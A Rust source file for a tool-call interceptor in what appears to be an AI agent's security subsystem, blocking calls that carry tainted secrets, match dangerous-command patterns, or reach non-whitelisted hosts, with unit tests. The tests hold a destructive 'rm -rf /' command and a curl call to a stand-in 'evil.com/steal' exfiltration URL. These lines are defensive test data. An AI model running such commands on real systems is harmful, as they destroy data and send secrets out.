1use super::audit::{AuditAction, AuditEntry, AuditEventType, AuditLog};
7use super::config::{SecurityConfig, SensitivityLevel};
8use super::taint::TaintRegistry;
9use crate::hooks::HookEvent;
10use crate::hooks::HookHandler;
11use crate::hooks::HookResponse;
12use regex::Regex;
13use std::sync::{Arc, OnceLock, RwLock};
14
15fn url_regex() -> &'static Regex {
17 static RE: OnceLock<Regex> = OnceLock::new();
18 RE.get_or_init(|| Regex::new(r"https?://([^/\s]+)").unwrap())
19}
20
21#[derive(Debug, Clone)]
23pub enum InterceptResult {
24 Allow,
26 Block {
28 reason: String,
30 severity: SensitivityLevel,
32 },
33}
34
35pub struct ToolInterceptor {
37 taint_registry: Arc<RwLock<TaintRegistry>>,
38 audit_log: Arc<AuditLog>,
39 dangerous_patterns: Vec<Regex>,
40 network_whitelist: Vec<String>,
41 session_id: String,
42}
43
44impl ToolInterceptor {
45 pub fn new(
47 config: &SecurityConfig,
48 taint_registry: Arc<RwLock<TaintRegistry>>,
49 audit_log: Arc<AuditLog>,
50 session_id: String,
51 ) -> Self {
52 let dangerous_patterns = config
53 .dangerous_commands
54 .iter()
55 .filter_map(|p| Regex::new(p).ok())
56 .collect();
57
58 Self {
59 taint_registry,
60 audit_log,
61 dangerous_patterns,
62 network_whitelist: config.network_whitelist.clone(),
63 session_id,
64 }
65 }
66
67 pub fn check(&self, tool: &str, args: &serde_json::Value) -> InterceptResult {
69 let args_str = serde_json::to_string(args).unwrap_or_default();
70
71 {
73 let Ok(registry) = self.taint_registry.read() else {
74 tracing::error!("Taint registry lock poisoned — blocking tool call as precaution");
75 return InterceptResult::Block {
76 reason: "Security subsystem unavailable — taint registry lock poisoned".into(),
77 severity: SensitivityLevel::HighlySensitive,
78 };
79 };
80 if registry.contains(&args_str) {
81 return InterceptResult::Block {
82 reason: format!("Tool '{}' arguments contain tainted sensitive data", tool),
83 severity: SensitivityLevel::HighlySensitive,
84 };
85 }
86 if registry.check_encoded(&args_str) {
88 return InterceptResult::Block {
89 reason: format!("Tool '{}' arguments contain encoded sensitive data", tool),
90 severity: SensitivityLevel::HighlySensitive,
91 };
92 }
93 }
94
95 if tool == "bash" || tool == "Bash" {
97 if let Some(command) = args.get("command").and_then(|v| v.as_str()) {
98 for pattern in &self.dangerous_patterns {
99 if pattern.is_match(command) {
100 return InterceptResult::Block {
101 reason: format!(
102 "Bash command matches dangerous pattern: {}",
103 pattern.as_str()
104 ),
105 severity: SensitivityLevel::HighlySensitive,
106 };
107 }
108 }
109
110 if !self.network_whitelist.is_empty() {
112 if let Some(result) = self.check_network_destination(command) {
113 return result;
114 }
115 }
116 }
117 }
118
119 if tool == "write" || tool == "Write" || tool == "edit" || tool == "Edit" {
121 let content = args
122 .get("content")
123 .or_else(|| args.get("new_string"))
124 .and_then(|v| v.as_str())
125 .unwrap_or("");
126
127 let Ok(registry) = self.taint_registry.read() else {
128 return InterceptResult::Block {
129 reason: "Security subsystem unavailable — taint registry lock poisoned".into(),
130 severity: SensitivityLevel::HighlySensitive,
131 };
132 };
133 if registry.contains(content) {
134 return InterceptResult::Block {
135 reason: format!("Tool '{}' would write tainted sensitive data to file", tool),
136 severity: SensitivityLevel::HighlySensitive,
137 };
138 }
139 }
140
141 InterceptResult::Allow
142 }
143
144 fn check_network_destination(&self, command: &str) -> Option<InterceptResult> {
146 for cap in url_regex().captures_iter(command) {
147 if let Some(host) = cap.get(1) {
148 let hostname = host.as_str();
149 let is_whitelisted = self
150 .network_whitelist
151 .iter()
152 .any(|w| hostname == w || hostname.ends_with(&format!(".{}", w)));
153 if !is_whitelisted {
154 return Some(InterceptResult::Block {
155 reason: format!(
156 "Network destination '{}' is not in the whitelist",
157 hostname
158 ),
159 severity: SensitivityLevel::Sensitive,
160 });
161 }
162 }
163 }
164 None
165 }
166}
167
168impl HookHandler for ToolInterceptor {
169 fn handle(&self, event: &HookEvent) -> HookResponse {
170 if let HookEvent::PreToolUse(e) = event {
171 let result = self.check(&e.tool, &e.args);
172 match result {
173 InterceptResult::Allow => HookResponse::continue_(),
174 InterceptResult::Block { reason, severity } => {
175 self.audit_log.log(AuditEntry {
176 timestamp: chrono::Utc::now(),
177 session_id: self.session_id.clone(),
178 event_type: AuditEventType::ToolBlocked,
179 severity,
180 details: reason.clone(),
181 tool_name: Some(e.tool.clone()),
182 action_taken: AuditAction::Blocked,
183 });
184 HookResponse::block(reason)
185 }
186 }
187 } else {
188 HookResponse::continue_()
189 }
190 }
191}
192
193#[cfg(test)]
194mod tests {
195 use super::*;
196 use crate::security::config::SecurityConfig;
197
198 fn make_interceptor() -> ToolInterceptor {
199 let config = SecurityConfig::default();
200 let registry = Arc::new(RwLock::new(TaintRegistry::new()));
201 let audit = Arc::new(AuditLog::new(100));
202 ToolInterceptor::new(&config, registry, audit, "test-session".to_string())
203 }
204
205 fn make_interceptor_with_taint(value: &str) -> ToolInterceptor {
206 let config = SecurityConfig::default();
207 let registry = Arc::new(RwLock::new(TaintRegistry::new()));
208 {
209 let mut reg = registry.write().unwrap();
210 reg.register(value, "test_rule", SensitivityLevel::HighlySensitive);
211 }
212 let audit = Arc::new(AuditLog::new(100));
213 ToolInterceptor::new(&config, registry, audit, "test-session".to_string())
214 }
215
216 #[test]
217 fn test_allow_clean_tool_call() {
218 let interceptor = make_interceptor();
219 let result = interceptor.check("bash", &serde_json::json!({"command": "echo hello"}));
220 assert!(matches!(result, InterceptResult::Allow));
221 }
222
223 #[test]
224 fn test_block_bash_curl_with_tainted_data() {
225 let interceptor = make_interceptor_with_taint("secret-api-key-12345");
226 let result = interceptor.check(
227 "bash",
228 &serde_json::json!({"command": "echo secret-api-key-12345"}),
229 );
230 assert!(matches!(result, InterceptResult::Block { .. }));
231 }
232
233 #[test]
234 fn test_block_dangerous_curl_pattern() {
235 let interceptor = make_interceptor();
236 let result = interceptor.check("bash", &serde_json::json!({"command": "rm -rf /"}));
238 assert!(matches!(result, InterceptResult::Block { .. }));
239 }
240
241 #[test]
242 fn test_block_write_with_sensitive_content() {
243 let interceptor = make_interceptor_with_taint("123-45-6789");
244 let result = interceptor.check(
245 "write",
246 &serde_json::json!({"content": "SSN is 123-45-6789", "file_path": "/tmp/out.txt"}),
247 );
248 assert!(matches!(result, InterceptResult::Block { .. }));
249 }
250
251 #[test]
252 fn test_allow_write_clean_content() {
253 let interceptor = make_interceptor();
254 let result = interceptor.check(
255 "write",
256 &serde_json::json!({"content": "Hello world", "file_path": "/tmp/out.txt"}),
257 );
258 assert!(matches!(result, InterceptResult::Allow));
259 }
260
261 #[test]
262 fn test_block_edit_with_tainted_data() {
263 let interceptor = make_interceptor_with_taint("my-secret-token");
264 let result = interceptor.check(
265 "edit",
266 &serde_json::json!({"new_string": "token = my-secret-token"}),
267 );
268 assert!(matches!(result, InterceptResult::Block { .. }));
269 }
270
271 #[test]
272 fn test_network_whitelist() {
273 let config = SecurityConfig {
274 network_whitelist: vec!["github.com".to_string(), "example.com".to_string()],
275 ..Default::default()
276 };
277 let registry = Arc::new(RwLock::new(TaintRegistry::new()));
278 let audit = Arc::new(AuditLog::new(100));
279 let interceptor =
280 ToolInterceptor::new(&config, registry, audit, "test-session".to_string());
281
282 let result = interceptor.check(
284 "bash",
285 &serde_json::json!({"command": "curl https://github.com/api/v1"}),
286 );
287 assert!(matches!(result, InterceptResult::Allow));
288
289 let result = interceptor.check(
291 "bash",
292 &serde_json::json!({"command": "curl https://evil.com/steal"}),
293 );
294 assert!(matches!(result, InterceptResult::Block { .. }));
295 }
296
297 #[test]
298 fn test_hook_handler_impl() {
299 let interceptor = make_interceptor();
300 let event = HookEvent::PreToolUse(crate::hooks::PreToolUseEvent {
301 session_id: "s1".to_string(),
302 tool: "bash".to_string(),
303 args: serde_json::json!({"command": "echo hello"}),
304 working_directory: "/workspace".to_string(),
305 recent_tools: vec![],
306 });
307
308 let response = interceptor.handle(&event);
309 assert_eq!(response.action, crate::hooks::HookAction::Continue);
310 }
311}